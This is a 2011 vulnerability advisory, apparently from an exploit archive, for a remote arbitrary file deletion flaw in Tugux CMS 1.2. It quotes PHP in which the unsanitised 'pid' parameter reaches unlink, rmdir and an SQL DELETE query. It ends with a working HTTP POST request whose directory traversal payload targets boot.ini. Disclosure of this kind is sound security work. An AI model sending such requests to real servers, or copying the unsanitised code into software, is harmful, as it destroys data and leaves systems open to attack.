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Tugux CMS 1.2 Remote Arbitrary File Deletion

Tugux CMS 1.2 Remote Arbitrary File Deletion
Posted Jul 11, 2011
Authored by LiquidWorm | Site zeroscience.mk

Tugux CMS version 1.2 remote arbitrary file deletion vulnerability.

tags | exploit, remote, arbitrary
MD5 | 9b1e456792e8405d4f5cba511d4704ed

Tugux CMS 1.2 Remote Arbitrary File Deletion

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Tugux CMS 1.2 (pid) Remote Arbitrary File Deletion Vulnerability


Vendor: Tugux Studios
Product web page: http://www.tugux.com
Affected version: 1.2

Summary: Tugux CMS is a free, open-source content Management system
(CMS) and application that powers the entire web.

Desc: Input passed to the 'pid' parameter in administrator/delete_page_parse.php
is not properly sanitised before being used to delete files. This can be exploited
to delete files with the permissions of the web server via directory traversal
sequences passed within the 'pid' parameter.


------------------------------------------------------------------------------
/administrator/delete_page_parse.php:
------------------------------------------------------------------------------

1: <?php
2: ///post form data
3: $id=$_POST['pid'];
4:
5: $pic1 = ("slides/$id/image_01.jpg");
6: if (file_exists($pic1)) {
7: unlink($pic1);
8: }
9: $dir = "slides/$id";
10: rmdir($dir);
11:
12: include_once "../scripts/connect_to_mysql.php";
13: $query = mysqli_query($myConnection, "DELETE FROM pages WHERE id='$id' ") or die (mysqli_error($myConnection));
14: echo '<table align="center"><tr> <td><div style=" width:300px; margin:auto; border:1px solid #BBB; font-family:Arial, Helvetica, sans-serif; color:#666; text-align:center">
15: <img src="images/check.png" width="90" height="87"><br />
16: Operation completed.Your page has been DELETED.<br />
17: <a href="index.php">Click Here to go back</a></div></td></tr></table>';
18: exit();
19: ?>

------------------------------------------------------------------------------


Tested on: Microsoft Windows XP Professional SP3 (EN)
Apache 2.2.14 (Win32)
PHP 5.3.1
MySQL 5.1.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab


Advisory ID: ZSL-2011-5024
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5024.php


02.04.2011


--

POST /tugux/administrator/delete_page_parse.php HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
User-Agent: x
Content-Length: 175
Cache-Control: max-age=0
Origin: null
Content-Type: multipart/form-data; boundary=----x
Accept: text/html
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

------x
Content-Disposition: form-data; name="pid"

../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../boot.ini
------x--
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